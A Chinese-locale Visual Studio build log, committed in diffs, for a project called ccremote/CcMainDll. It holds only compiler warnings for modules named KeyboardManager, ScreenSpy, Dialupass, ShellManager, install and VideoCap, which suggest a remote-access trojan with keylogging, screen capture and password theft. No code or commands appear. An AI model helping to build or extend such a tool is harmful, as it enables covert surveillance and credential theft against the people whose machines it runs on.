f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(69): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(103): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(103): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(176): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(179): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(292): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(292): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(324): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(324): warning C4309: “初始化”: 截断常量值
正在生成代码...
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
AudioManager.cpp
@@ -48,60 +56,136 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 's
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
KernelManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4309: “初始化”: 截断常量值
KeyboardManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
Manager.cpp
RegEditEx.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(10): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(75): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(75): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(76): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(76): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(77): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(77): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(78): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(78): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(79): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(79): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(110): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(121): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(122): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(124): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(151): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
RegeditOpt.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(71): warning C4309: “=”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(83): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(55): warning C4101: “DateSize”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “Type”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(54): warning C4101: “NameSize”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4305: “=”: 从“<unnamed-enum-TRANSFER_MODE_NORMAL>”到“char”截断
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(126): warning C4309: “=”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(164): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(98): warning C4101: “szKeyName”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(106): warning C4101: “KeySize”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(182): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
RegManager.cpp
ScreenManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
ScreenSpy.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(363): warning C4018: “>”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(384): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(403): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018: “>”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
ServerManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(291): warning C4102: “defaute”: 未引用的标签
ShellManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(59): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
SystemManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: “cbNeeded”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(140): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(231): warning C4101: “cbNeeded”: 未引用的局部变量
VideoCap.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(125): warning C4101: “gCapTureParms”: 未引用的局部变量
VideoManager.cpp
正在生成代码...
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(113): warning C4700: 使用了未初始化的局部变量“NameSize”
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
FileManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(213): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(247): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(247): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(291): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(292): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(442): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(617): warning C4307: “+”: 整型常量溢出
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(614): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(260): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
dllmain.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(168): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(53): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(263): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(264): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(294): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(304): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(329): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(358): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(359): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
StrCry.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”可能丢失数据
正在生成代码...
LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”已忽略
正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突请使用 /NODEFAULTLIB:library

View File

@@ -0,0 +1 @@
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll

View File

@@ -0,0 +1,191 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
pch.cpp
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
Audio.cpp
f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
ClientSocket.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(34): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(34): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(75): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(77): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(213): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(330): warning C4018: “>=”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(431): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(486): warning C4018: “>=”: 有符号/无符号不匹配
Buffer.cpp
KeyboardManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
until.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(69): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(103): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(103): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(176): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(179): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(292): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(292): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(324): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(324): warning C4309: “初始化”: 截断常量值
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
AudioManager.cpp
Dialupass.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
install.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
KernelManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4309: “初始化”: 截断常量值
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4838: 从“int”转换到“char”需要收缩转换
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4309: “初始化”: 截断常量值
